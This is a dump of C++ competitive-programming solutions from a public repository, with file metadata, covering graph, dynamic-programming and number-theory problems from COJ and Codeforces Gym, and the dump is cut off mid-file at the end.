"eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\r\n\r\nusing namespace std;\r\n\r\nconst int N = 10005;\r\n\r\nint t;\r\n\r\nint n, m, r;\r\nmap<pair<int, int>, int> edges;\r\nmap<pair<int, int>, int>::iterator it;\r\n\r\nvector<pair<int, int> > g[N];\r\nint c[N];\r\n\r\nbool mark[N];\r\n\r\nint dfs(int u) {\r\n\tint res = 1;\r\n\tmark[u] = true;\r\n\tfor (int i = 0; i < g[u].size(); i++) {\r\n\t\tint v = g[u][i].first;\r\n\t\tc[v]++;\r\n\t\tif (!mark[v]) {\r\n\t\t\tres += dfs(v);\r\n\t\t}\r\n\t}\r\n\treturn res;\r\n}\r\n\r\nint main() {\r\n\tios::sync_with_stdio(false);\r\n\tcin.tie(0);\r\n\t//freopen(\"dat.txt\", \"r\", stdin);\r\n\tcin >> t;\r\n\twhile (t--) {\r\n\t\tcin >> n >> m >> r;\r\n\t\tedges.clear();\r\n\t\tint u, v, w;\r\n\t\twhile (m--) {\r\n\t\t\tcin >> u >> v >> w;\r\n\t\t\tit = edges.find(make_pair(u, v));\r\n\t\t\tif (it == edges.end()) {\r\n\t\t\t\tedges[make_pair(u, v)] = w;\r\n\t\t\t} else if (it->second > w) {\r\n\t\t\t\tit->second = w;\r\n\t\t\t}\r\n\t\t}\r\n\t\tif (edges.size() < n - 1) {\r\n\t\t\tcout << \"impossible\\n\";\r\n\t\t\tcontinue;\r\n\t\t}\r\n\t\tfor (int i = 0; i < n; i++) {\r\n\t\t\tmark[i] = false;\r\n\t\t\tg[i].clear();\r\n\t\t\tc[i] = 0;\r\n\t\t}\r\n\t\tint sum = 0;\r\n\t\tfor (it = edges.begin(); it != edges.end(); it++) {\r\n\t\t\tu = it->first.first;\r\n\t\t\tv = it->first.second;\r\n\t\t\tw = it->second;\r\n\t\t\tsum += w;\r\n\t\t\tg[u].push_back(make_pair(v, w));\r\n\t\t\t//g[v].push_back(make_pair(u, w));\r\n\t\t}\r\n\t\tint cnt = dfs(r);\r\n\t\tif (cnt != n) {\r\n\t\t\tcout << \"impossible\\n\";\r\n\t\t\tcontinue;\r\n\t\t}\r\n\t\tif (edges.size() == n - 1) {\r\n\t\t\tcout << sum << \"\\n\";\r\n\t\t\tfor (it = edges.begin(); it != edges.end(); it++) {\r\n cout << it->first.first << \" \" << it->first.second << \" \" << it->second << \"\\n\";\r\n\t\t\t}\r\n\t\t\tcontinue;\r\n\t\t} else {\r\n\t\t\tint mx = 0;\r\n\t\t\tint a = -1;\r\n\t\t\tint b = -1;\r\n\t\t\tfor (it = edges.begin(); it != edges.end(); it++) {\r\n\t\t\t\tu = it->first.first;\r\n\t\t\t\tv = it->first.second;\r\n\t\t\t\tw = it->second;\r\n\t\t\t\tif (c[v] > 1) {\r\n\t\t\t\t\tif (w > mx) {\r\n\t\t\t\t\t\ta = u;\r\n\t\t\t\t\t\tb = v;\r\n\t\t\t\t\t\tmx = w;\r\n\t\t\t\t\t}\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t\tcout << sum - mx << \"\\n\";;\r\n\t\t\tfor (it = edges.begin(); it != edges.end(); it++) {\r\n\t\t\t\tu = it->first.first;\r\n\t\t\t\tv = it->first.second;\r\n\t\t\t\tw = it->second;\r\n\t\t\t\tif (u == a && v == b) {\r\n\t\t\t\t\tcontinue;\r\n\t\t\t\t}\r\n\t\t\t\tcout << u << \" \" << v << \" \" << w << \"\\n\";\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n}\r\n" }, { "alpha_fraction": 0.45736435055732727, "alphanum_fraction": 0.46124032139778137, "avg_line_length": 12.333333015441895, "blob_id": "4e5ffdc09909b6066730178640e7ea4f4cf09111", "content_id": "725302b51a3a7ad07659c2549f313b87d986c3e2", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 258, "license_type": "no_license", "max_line_length": 34, "num_lines": 18, "path": "/COJ/eliogovea-cojAC/eliogovea-p3258-Accepted-s796338.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\r\n\r\nusing namespace std;\r\n\r\nint t;\r\ndouble n;\r\n\r\nint main() {\r\n\tios::sync_with_stdio(false);\r\n\tcin.tie(false);\r\n\tcin >> t;\r\n\twhile (t--) {\r\n cin >> n;\r\n int ans = 1 + (int)log(n);\r\n cout << ans << \"\\n\";\r\n\t}\r\n\r\n}\r\n" }, { "alpha_fraction": 0.40526315569877625, "alphanum_fraction": 0.413684219121933, "avg_line_length": 20.0930233001709, "blob_id": "338b656f6dde28c33eb1efcd466543d0900c2939", "content_id": "9313a5844a8d4671264a3f36a32aba8cfb0898e8", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1900, "license_type": "no_license", "max_line_length": 58, "num_lines": 86, "path": "/COJ/eliogovea-cojAC/eliogovea-p1556-Accepted-s544450.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include<cstdio>\r\n#include<vector>\r\n#include<queue>\r\n#define MAXN 20010\r\nusing namespace std;\r\n\r\nstruct next\r\n{\r\n\tint nodo,costo,padre;\r\n\tnext(int a, int b, int c){nodo=a;costo=b;padre=c;}\r\n\tbool operator<(const next &x)const{return costo>x.costo;}\r\n};\r\n\r\nint n,m,s,x,y,c;\r\nint padre[MAXN],cost_p[MAXN],level[MAXN];\r\nbool mark[MAXN];\r\n\r\nvector<pair<int,int> > G[MAXN],MST[MAXN];\r\nvector<pair<int,int> >::iterator it;\r\npriority_queue<next> Q;\r\n\r\n\r\nint main()\r\n{\r\n\tscanf(\"%d%d%d\",&n,&m,&s);\r\n\t\tfor(int i=1; i<=m; i++)\r\n\t\t{\r\n\t\t\tscanf(\"%d%d%d\",&x,&y,&c);\r\n\t\t\tG[x].push_back(make_pair(y,c));\r\n\t\t\tG[y].push_back(make_pair(x,c));\r\n\t\t}\r\n\r\n\t\tmark[0]=1;\r\n\t\tlevel[1]=1;\r\n\t\tQ.push(next(1,0,0));\r\n\t\twhile(!Q.empty())\r\n\t\t{\r\n\t\t\tint nod=Q.top().nodo,\r\n\t\t\t\tcost=Q.top().costo,\r\n\t\t\t\tpad=Q.top().padre;\r\n\r\n\t\t\tQ.pop();\r\n\r\n\t\t\tif(!mark[nod])\r\n\t\t\t{\r\n\t\t\t\tmark[nod]=1;\r\n MST[nod].push_back(make_pair(pad,cost));\r\n MST[pad].push_back(make_pair(nod,cost));\r\n level[nod]=level[pad]+1;\r\n cost_p[nod]=cost;\r\n padre[nod]=pad;\r\n\r\n\r\n\t\t\t\tfor(it=G[nod].begin(); it!=G[nod].end(); it++)\r\n\t\t\t\t\tif(!mark[it->first])\r\n\t\t\t\t\t\tQ.push(next(it->first,it->second,nod));\r\n\t\t\t}\r\n\t\t}\r\n\r\n while(s--)\r\n {\r\n scanf(\"%d%d\",&x,&y);\r\n int mx=0;\r\n while(x!=y)\r\n {\r\n if(level[x]<level[y])\r\n {\r\n mx=max(mx,cost_p[y]);\r\n y=padre[y];\r\n }\r\n else if(level[x]>level[y])\r\n {\r\n mx=max(mx,cost_p[x]);\r\n x=padre[x];\r\n }\r\n else\r\n {\r\n mx=max(mx,max(cost_p[x],cost_p[y]));\r\n x=padre[x];\r\n y=padre[y];\r\n }\r\n }\r\n printf(\"%d\\n\",mx);\r\n }\r\n\r\n}\r\n" }, { "alpha_fraction": 0.3617021143436432, "alphanum_fraction": 0.38652482628822327, "avg_line_length": 14.588234901428223, "blob_id": "2360f0490ddee79016fd3dd273f00f232f63f4bf", "content_id": "9bb6ddbbe6a1fdd83fa7e10061e2995aaff6584c", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 282, "license_type": "no_license", "max_line_length": 43, "num_lines": 17, "path": "/COJ/eliogovea-cojAC/eliogovea-p2634-Accepted-s529051.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include<iostream>\r\nusing namespace std;\r\n\r\nint m[12];\r\nint n,cant,x;\r\nchar c;\r\n\r\nint main()\r\n{\r\n for(cin >> cant; cant--;)\r\n {\r\n cin >> n >> n >> c >> n >> c >> x;\r\n m[n-1]++;\r\n }\r\n for(int i=0; i<12; i++)\r\n cout << i+1 << \" \" << m[i] << endl;\r\n}\r\n" }, { "alpha_fraction": 0.3100961446762085, "alphanum_fraction": 0.3405448794364929, "avg_line_length": 16.62686538696289, "blob_id": "6c58024126fd3c6945fbfdcb5e4234882b3fcffa", "content_id": "15c0d0fffe56ff411331d8694608e78d34edc2db", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1248, "license_type": "no_license", "max_line_length": 47, "num_lines": 67, "path": "/COJ/eliogovea-cojAC/eliogovea-p3295-Accepted-s815544.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\r\n\r\nusing namespace std;\r\n\r\ntypedef long long ll;\r\n\r\nconst int N = 1005;\r\n\r\nconst ll inf = 1LL << 55LL;\r\n\r\nll n, k;\r\nll c[N];\r\nll d[N][N];\r\nll dp[205][N];\r\n\r\nint main() {\r\n\tios::sync_with_stdio(false);\r\n\tcin.tie(0);\r\n\twhile (cin >> n >> k) {\r\n\t\tfor (int i = 1; i <= n; i++) {\r\n\t\t\tcin >> c[i];\r\n\t\t}\r\n\t\tif (k >= n) {\r\n\t\t\tcout << \"0\\n\";\r\n\t\t\tcontinue;\r\n\t\t}\r\n\t\tsort(c + 1, c + n + 1);\r\n\t\tfor (int i = 1; i <= n; i++) {\r\n\t\t\tfor (int j = 1; j <= n; j++) {\r\n\t\t\t\td[i][j] = 0;\r\n\t\t\t}\r\n\t\t}\r\n\t\tfor (int i = 1; i <= n; i++) {\r\n\t\t\tfor (int j = i + 1; j <= n; j++) {\r\n\t\t\t\td[i][j] = c[j] - c[i];\r\n\t\t\t}\r\n\t\t}\r\n\t\tfor (int i = 3; i <= n; i++) {\r\n\t\t\tfor (int j = 1; j + i - 1 <= n; j++) {\r\n\t\t\t\td[j][j + i - 1] += d[j + 1][j + i - 1 - 1];\r\n\t\t\t}\r\n\t\t}\r\n\t\tfor (int i = 1; i <= k; i++) {\r\n\t\t\tfor (int j = 1; j <= n; j++) {\r\n\t\t\t\tdp[i][j] = inf;\r\n\t\t\t}\r\n\t\t}\r\n\t\tfor (int i = 1; i <= n; i++) {\r\n\t\t\tdp[1][i] = d[1][i];\r\n\t\t}\r\n\t\tll ans = dp[1][n];\r\n\t\tfor (int i = 2; i <= k; i++) {\r\n\t\t\tfor (int j = 1; j <= n; j++) {\r\n\t\t\t\tfor (int l = j; l >= 1; l--) {\r\n\t\t\t\t\tint tmp = dp[i - 1][l - 1] + d[l][j];\r\n\t\t\t\t\tif (tmp < dp[i][j]) {\r\n\t\t\t\t\t\tdp[i][j] = tmp;\r\n\t\t\t\t\t}\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t\tif (dp[i][n] < ans) {\r\n\t\t\t\tans = dp[i][n];\r\n\t\t\t}\r\n\t\t}\r\n\t\tcout << ans << \"\\n\";\r\n\t}\r\n}\r\n" }, { "alpha_fraction": 0.4166666567325592, "alphanum_fraction": 0.4568965435028076, "avg_line_length": 16.3157901763916, "blob_id": "8bf13e21f9cc72c7229c155202b2724db52f00f2", "content_id": "c8fc2abcc3ee25d7485b60d9cff72af68acaba75", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 348, "license_type": "no_license", "max_line_length": 54, "num_lines": 19, "path": "/COJ/eliogovea-cojAC/eliogovea-p2206-Accepted-s517087.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include<cstdio>\r\n#include<cmath>\r\n#include<algorithm>\r\nusing namespace std;\r\nint c;\r\ndouble r,p,q,a;\r\n\r\nint main()\r\n{\r\n for(scanf(\"%d\",&c);c--;)\r\n {\r\n scanf(\"%lf%lf%lf\",&r,&p,&q);\r\n a=abs(p-q);\r\n a=min(a,360.0-a);\r\n a*=M_PI/180.0;\r\n printf(\"%.3lf\\n\",r*r*(M_PI-a/2.0+sin(a)/2.0));\r\n }\r\n return 0;\r\n}\r\n" }, { "alpha_fraction": 0.42081448435783386, "alphanum_fraction": 0.4445701241493225, "avg_line_length": 15.680000305175781, "blob_id": "983430e92a5a2e42555c1378e5da1c6313839a94", "content_id": "5de97c236558718d7b4b11606f17fb2e62ef98a8", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 884, "license_type": "no_license", "max_line_length": 49, "num_lines": 50, "path": "/COJ/eliogovea-cojAC/eliogovea-p2904-Accepted-s623956.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\r\nusing namespace std;\r\n\r\nconst int MaxLen = 1010;\r\n\r\nstruct BigInt {\r\n\tint len, dig[MaxLen];\r\n\tBigInt() {\r\n\t\tlen = 1;\r\n\t\tfor (int i = 0; i < MaxLen; i++)\r\n\t\t\tdig[i] = 0;\r\n\t}\r\n\tBigInt(string &s) {\r\n\t len = 1;\r\n\t for (int i = 0; i < MaxLen; i++) dig[i] = 0;\r\n\t\tlen = s.size();\r\n\t\tfor (int i = 0; i < len; i++)\r\n\t\t\tdig[i] = s[len - 1 - i] - '0';\r\n\t}\r\n\tvoid sum(BigInt &b) {\r\n\t\tlen = max(len, b.len);\r\n\t\tint carry = 0;\r\n\t\tfor (int i = 0; i < len; i++) {\r\n\t\t\tcarry += dig[i] + b.dig[i];\r\n\t\t\tdig[i] = carry % 10;\r\n\t\t\tcarry /= 10;\r\n\t\t}\r\n\t\tif (carry) dig[len++] = carry;\r\n\t}\r\n\tvoid print() {\r\n\t\tfor (int i = len - 1; i >= 0; i--)\r\n\t\t\tprintf(\"%d\", dig[i]);\r\n\t\tprintf(\"\\n\");\r\n\t}\r\n} a, b;\r\n\r\nint n;\r\nstring str;\r\n\r\nint main() {\r\n\tscanf(\"%d\", &n);\r\n\twhile (n--) {\r\n\t\tcin >> str;\r\n\t\tb = BigInt(str);\r\n\t\t//b.print();\r\n\t\t//a.print();\r\n\t\ta.sum(b);\r\n\t}\r\n\ta.print();\r\n}\r\n" }, { "alpha_fraction": 0.3774104714393616, "alphanum_fraction": 0.4003673195838928, "avg_line_length": 19.780000686645508, "blob_id": "65ae85adaa2e0428273d0cb23e2c4edba1717d5e", "content_id": "5168880fc3fd14f493cf1aaa21217278c95335d0", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1089, "license_type": "no_license", "max_line_length": 78, "num_lines": 50, "path": "/COJ/eliogovea-cojAC/eliogovea-p3005-Accepted-s685627.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "//============================================================================\r\n// Name : 3005.cpp\r\n// Author : eliogovea\r\n// Version :\r\n// Copyright : \r\n// Description : Hello World in C++, Ansi-style\r\n//============================================================================\r\n\r\n#include <iostream>\r\n#include <vector>\r\n#include <algorithm>\r\n\r\nusing namespace std;\r\n\r\nconst int MAXN = 50005;\r\n\r\nint n, m, col[MAXN], cnt[4], ans;\r\nvector<int> G[MAXN];\r\n\r\nbool ok = true;\r\n\r\nvoid dfs(int u, int c) {\r\n\tif (!ok) return;\r\n\tcol[u] = c;\r\n\tcnt[c]++;\r\n\tfor (int i = 0; i < G[u].size(); i++) {\r\n\t\tint v = G[u][i];\r\n\t\tif (col[v] == c) ok = false;\r\n\t\tif (!col[v]) dfs(v, (c == 1) ? 2 : 1);\r\n\t}\r\n}\r\n\r\nint main() {\r\n\tios::sync_with_stdio(false);\r\n\tcin.tie(0); cout.tie(0);\r\n\tcin >> n >> m;\r\n\tfor (int i = 0, a, b; i < m; i++) {\r\n\t\tcin >> a >> b;\r\n\t\tG[a].push_back(b);\r\n\t\tG[b].push_back(a);\r\n\t}\r\n\tfor (int i = 1; i <= n; i++)\r\n\t\tif (!col[i]) {\r\n\t\t\tcnt[1] = cnt[2] = 0;\r\n\t\t\tdfs(i, 1);\r\n\t\t\tans += max(cnt[1], cnt[2]);\r\n\t\t}\r\n\tif (!ok) cout << \"-1\\n\";\r\n\telse cout << ans << \"\\n\";\r\n}\r\n" }, { "alpha_fraction": 0.5159313678741455, "alphanum_fraction": 0.5220588445663452, "avg_line_length": 17.90243911743164, "blob_id": "ad2e4dbc764df258f811eea2e3d48dab2e39a6b0", "content_id": "6fdab46301bb7333318b9f3a956d251b9ea75e6d", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 816, "license_type": "no_license", "max_line_length": 47, "num_lines": 41, "path": "/COJ/eliogovea-cojAC/eliogovea-p2995-Accepted-s680783.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <iostream>\r\n#include <set>\r\n#include <vector>\r\n#include <sstream>\r\n\r\nusing namespace std;\r\n\r\nint tc;\r\nstring str;\r\nset<string> S;\r\nvector<string> a;\r\nvector<int> b;\r\n\r\nint main() {\r\n\tios::sync_with_stdio(false);\r\n\tcin.tie(0); cout.tie(0);\r\n\tcin >> tc;\r\n\tgetline(cin, str);\r\n\twhile (tc--) {\r\n\t\tS.clear();\r\n\t\ta.clear();\r\n\t\tb.clear();\r\n\t\tgetline(cin, str);\r\n\t\tistringstream in(str);\r\n\t\twhile (in >> str) a.push_back(str);\r\n\t\twhile (true) {\r\n\t\t\tgetline(cin, str);\r\n\t\t\tif (str == \"what does the fox say?\") break;\r\n\t\t\tistringstream iin(str);\r\n\t\t\twhile (iin >> str);\r\n\t\t\tS.insert(str);\r\n\t\t}\r\n\t\tfor (int i = 0; i < a.size(); i++)\r\n\t\t\tif (S.find(a[i]) == S.end()) b.push_back(i);\r\n\t\tfor (int i = 0; i < b.size(); i++) {\r\n\t\t\tcout << a[b[i]];\r\n\t\t\tif (i < b.size() - 1) cout << \" \";\r\n\t\t\telse cout << \"\\n\";\r\n\t\t}\r\n\t}\r\n}\r\n" }, { "alpha_fraction": 0.31780365109443665, "alphanum_fraction": 0.33777037262916565, "avg_line_length": 18.387096405029297, "blob_id": "b9d21852f80230d44e397f6485894e48abf00e41", "content_id": "483bef67ecdcc9ee276d9dcaf3f165548817f5f5", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1202, "license_type": "no_license", "max_line_length": 58, "num_lines": 62, "path": "/Codeforces-Gym/100109 - 2012-2013 ACM-ICPC, NEERC, Southern Subregional Contest/G.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "// 2012-2013 ACM-ICPC, NEERC, Southern Subregional Contest\n// 100109G\n\n#include <bits/stdc++.h>\n\nusing namespace std;\n\nint main(){\n ios::sync_with_stdio(0);\n cin.tie(0);\n\n //freopen(\"dat.txt\",\"r\",stdin);\n freopen( \"input.txt\", \"r\", stdin );\n freopen( \"output.txt\", \"w\", stdout);\n\n map<string,int> sol;\n\n int n; cin >> n;\n\n for( int i = 0; i < n; i++ ){\n int k; cin >> k;\n\n vector<string> s( k , \"\" );\n for( int i = 0; i < k; i++ ){\n cin >> s[i];\n }\n\n sort( s.begin() , s.end() );\n\n for( int i = 1; i < (1<<k); i++ ){\n string x = \"\";\n for( int j = 0; j < k; j++ ){\n if( i & (1 << j) ){\n x += s[j];\n x += \";\";\n }\n }\n\n sol[x]++;\n }\n }\n\n int m; cin >> m;\n\n while( m-- ){\n int l; cin >> l;\n string x = \"\";\n vector<string> s( l , \"\" );\n for( int i = 0; i < l; i++ ){\n cin >> s[i];\n }\n\n sort( s.begin() , s.end() );\n\n for( int i = 0; i < l; i++ ){\n x += s[i];\n x += \";\";\n }\n\n cout << sol[x] << '\\n';\n }\n}\n" }, { "alpha_fraction": 0.38599640130996704, "alphanum_fraction": 0.4057450592517853, "avg_line_length": 20.1200008392334, "blob_id": "ec9fb4dcecda67e49df4795655f418a5c8b9a212", "content_id": "f57009ccdb06ea15f0b333ce0f3e6c1f8726ecf9", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 557, "license_type": "no_license", "max_line_length": 62, "num_lines": 25, "path": "/COJ/eliogovea-cojAC/eliogovea-p3184-Accepted-s784238.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\r\n\r\nusing namespace std;\r\n\r\nlong long k, d;\r\n\r\nint main() {\r\n ios::sync_with_stdio(false);\r\n cin.tie(0);\r\n //freopen(\"dat.txt\", \"r\", stdin);\r\n cin >> k >> d;\r\n long long lo = 0, hi = 1e15, mid, val;\r\n long long ans = hi;\r\n while (lo <= hi) {\r\n mid = (lo + hi) >> 1LL;\r\n val = 1 + (long long)(double(mid) * log10((double)k));\r\n if (val >= d) {\r\n ans = mid;\r\n hi = mid - 1;\r\n } else {\r\n lo = mid + 1;\r\n }\r\n }\r\n cout << ans << \"\\n\";\r\n}\r\n\r\n\r\n" }, { "alpha_fraction": 0.30454546213150024, "alphanum_fraction": 0.3272727131843567, "avg_line_length": 14.923076629638672, "blob_id": "5ecfb420e0c4c9a61c05ef6f8221e8bfeb2ab2d3", "content_id": "35b053f3bc3faf78a9dbda1d28d94e958891e8ad", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 440, "license_type": "no_license", "max_line_length": 50, "num_lines": 26, "path": "/COJ/eliogovea-cojAC/eliogovea-p2166-Accepted-s512503.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include<cstdio>\r\n\r\nint n,k,a[100],ans,cas;\r\n\r\nint main()\r\n{\r\n scanf(\"%d\",&cas);\r\n while(cas--)\r\n {\r\n scanf(\"%d%d\",&n,&k);\r\n\r\n for(int i=0; i<n; i++)\r\n scanf(\"%d\",&a[i]);\r\n\r\n for(int i=0; a[i] && i<k; i++)\r\n ans=i+1;\r\n\r\n if(a[k-1])\r\n for(int i=k; a[k-1]==a[i] && i<n; i++)\r\n ans++;\r\n printf(\"%d\\n\",ans);\r\n ans=0;\r\n }\r\n\r\n return 0;\r\n}\r\n" }, { "alpha_fraction": 0.3550589680671692, "alphanum_fraction": 0.3774053454399109, "avg_line_length": 22.409090042114258, "blob_id": "5f11d47e8d45367834161404b2be28be56cf4bf1", "content_id": "462a398848d2238e5dd7ce106c30fa8e9500a506", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1611, "license_type": "no_license", "max_line_length": 78, "num_lines": 66, "path": "/COJ/eliogovea-cojAC/eliogovea-p1996-Accepted-s671022.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "//============================================================================\r\n// Name : 1996.cpp\r\n// Author : eliogovea\r\n// Version :\r\n// Copyright : \r\n// Description : Hello World in C++, Ansi-style\r\n//============================================================================\r\n\r\n#include <iostream>\r\n#include <algorithm>\r\n#include <vector>\r\n#include <cmath>\r\n\r\nusing namespace std;\r\n\r\nconst int MAXN = 1000000;\r\n\r\nbool criba[MAXN + 5];\r\nvector<int> p;\r\nint pos[MAXN + 5];\r\n\r\nint main() {\r\n\tfor (int i = 2; i * i <= MAXN; i++)\r\n\t\tif (!criba[i])\r\n\t\t\tfor (int j = i * i; j <= MAXN; j += i)\r\n\t\t\t\tcriba[j] = true;\r\n\tpos[2] = p.size(); p.push_back(2);\r\n\tfor (int i = 3; i <= MAXN; i += 2)\r\n\t\tif (!criba[i]) {\r\n\t\t\tpos[i] = p.size();\r\n\t\t\tp.push_back(i);\r\n\t\t}\r\n\tint sz = p.size();\r\n\tvector<int> v(sz);\r\n\tint tc, n, m;\r\n\tios::sync_with_stdio(false);\r\n\tcin.tie(0); cout.tie(0);\r\n\tcin >> tc;\r\n\tfor (int cas = 1; cas <= tc; cas++) {\r\n\t\tfor (int i = 0; i < sz; i++) v[i] = 0;\r\n\t\tcin >> n >> m;\r\n\t\tfor (int i = 0, x; i < n; i++) {\r\n\t\t\tcin >> x;\r\n\t\t\tfor (int i = 0; p[i] * p[i] <= x; i++)\r\n\t\t\t\twhile (x % p[i] == 0) {\r\n\t\t\t\t\tv[i]++;\r\n\t\t\t\t\tx /= p[i];\r\n\t\t\t\t}\r\n\t\t\tif (x > 1) v[pos[x]]++;\r\n\t\t}\r\n\t\tfor (int i = 0, x; i < m; i++) {\r\n\t\t\tcin >> x;\r\n\t\t\tfor (int i = 0; p[i] * p[i] <= x; i++)\r\n\t\t\t\twhile (x % p[i] == 0) {\r\n\t\t\t\t\tv[i]--;\r\n\t\t\t\t\tx /= p[i];\r\n\t\t\t\t}\r\n\t\t\tif (x > 1) v[pos[x]]--;\r\n\t\t}\r\n\t\tint num = 1, den = 1;\r\n\t\tfor (int i = 0; i < sz; i++)\r\n\t\t\tif (v[i] > 0) num *= pow(p[i], v[i]);\r\n\t\t\telse if (v[i] < 0) den *= pow(p[i], -v[i]);\r\n\t\tcout << \"Case #\" << cas << \": \"<< num << \" / \" << den << \"\\n\";\r\n\t}\r\n}\r\n" }, { "alpha_fraction": 0.3995485305786133, "alphanum_fraction": 0.41986456513404846, "avg_line_length": 22.61111068725586, "blob_id": "84ce878e71effc2102559f58ad4f9cd3cc524faa", "content_id": "1801d208e31cb95f8ccf591b099522a1df73fbfb", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 443, "license_type": "no_license", "max_line_length": 73, "num_lines": 18, "path": "/COJ/eliogovea-cojAC/eliogovea-p2152-Accepted-s465671.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include<iostream>\r\n#include<cstring>\r\n\r\nusing namespace std;\r\nint n,suma;\r\nchar c[25];\r\nint main(){\r\n std::ios::sync_with_stdio(false);\r\n cin >> n;\r\n while(n--){\r\n cin >> c;\r\n suma=0;\r\n if(c[0]=='-')for(int i=1; i<strlen(c); i++)suma+=c[i]-'0';\r\n else for(int i=0; i<strlen(c); i++)suma+=c[i]-'0';\r\n cout << suma << endl;\r\n }\r\n return 0;\r\n }\r\n" }, { "alpha_fraction": 0.32973620295524597, "alphanum_fraction": 0.3521183133125305, "avg_line_length": 23.05769157409668, "blob_id": "352c403a9205b11fbaabc4efa7360cfd0a06788e", "content_id": "2d69e15b473c4fdbf72f028e7b479992a29f5e61", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 2502, "license_type": "no_license", "max_line_length": 87, "num_lines": 104, "path": "/Codeforces-Gym/101064 - 2016 USP Try-outs/H.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "// 2016 USP Try-outs\n// 101064H\n\n#include <bits/stdc++.h>\n\nusing namespace std;\n\ntypedef long long LL;\n\nconst int BASE = 1000000000;\n\ntypedef vector <int> bigInt;\n\nconst bigInt ONE(1, 1);\n\nbigInt mul(const bigInt &a, int k) {\n bigInt res(a.size(), 0);\n long long carry = 0;\n for (int i = 0; i < a.size(); i++) {\n carry += (long long)a[i] * k;\n res[i] = carry % BASE;\n carry /= BASE;\n }\n while (carry > 0) {\n res.push_back(carry % BASE);\n carry /= BASE;\n }\n return res;\n}\n\nint main(){\n ios::sync_with_stdio(0);\n cin.tie(0);\n\n //freopen(\"dat.txt\",\"r\",stdin);\n\n int n, m;\n cin >> n >> m;\n vector <int> a(n);\n for (int i = 0; i < n; i++) {\n cin >> a[i];\n }\n vector <int> b(m);\n for (int i = 0; i < m; i++) {\n cin >> b[i];\n }\n vector <pair <bigInt, int> > pa(1 << n);\n pa[0].first = ONE;\n pa[0].second = 0;\n\n for (int i = 1; i < (1 << n); i++) {\n int pos = 0;\n while (!(i & (1 << pos))) {\n pos++;\n }\n pa[i].first = mul(pa[i ^ (1 << pos)].first, a[pos]);\n pa[i].second = i;\n }\n sort(pa.begin(), pa.end());\n\n vector <bigInt> pb(1 << m);\n pb[0] = ONE;\n for (int i = 1; i < (1 << m); i++) {\n int pos = 0;\n while (!(i & (1 << pos))) {\n pos++;\n }\n pb[i] = mul(pb[i ^ (1 << pos)], b[pos]);\n int x = lower_bound(++pa.begin(), pa.end(), make_pair(pb[i], -1)) - pa.begin();\n if (x < pa.size() && pa[x].first == pb[i]) {\n cout << \"Y\\n\";\n int mask = pa[x].second;\n vector <int> va;\n for (int j = 0; j < n; j++) {\n if (mask & (1 << j)) {\n va.push_back(a[j]);\n }\n }\n vector <int> vb;\n for (int j = 0; j < m; j++) {\n if (i & (1 << j)) {\n vb.push_back(b[j]);\n }\n }\n cout << va.size() << \" \" << vb.size() << \"\\n\";\n for (int j = 0; j < va.size(); j++) {\n cout << va[j];\n if (j + 1 < va.size()) {\n cout << \" \";\n }\n }\n cout << \"\\n\";\n for (int j = 0; j < vb.size(); j++) {\n cout << vb[j];\n if (j + 1 < vb.size()) {\n cout << \" \";\n }\n }\n cout << \"\\n\";\n exit(0);\n }\n }\n cout << \"N\\n\";\n}\n" }, { "alpha_fraction": 0.3684210479259491, "alphanum_fraction": 0.41016334295272827, "avg_line_length": 16.21875, "blob_id": "45f2c4882ef119e8fbecd0df842b4983a51e2e3c", "content_id": "5a7454f145c9fa9ddde34c6db85df15fe571307a", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 551, "license_type": "no_license", "max_line_length": 50, "num_lines": 32, "path": "/Codeforces-Gym/101064 - 2016 USP Try-outs/C.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "// 2016 USP Try-outs\n// 101064C\n\n#include <bits/stdc++.h>\n\nusing namespace std;\n\nconst int MAXN = 10100;\n\nint main(){\n ios::sync_with_stdio(0);\n cin.tie(0);\n\n //freopen(\"dat.txt\",\"r\",stdin);\n\n int h, w;\n cin >> h 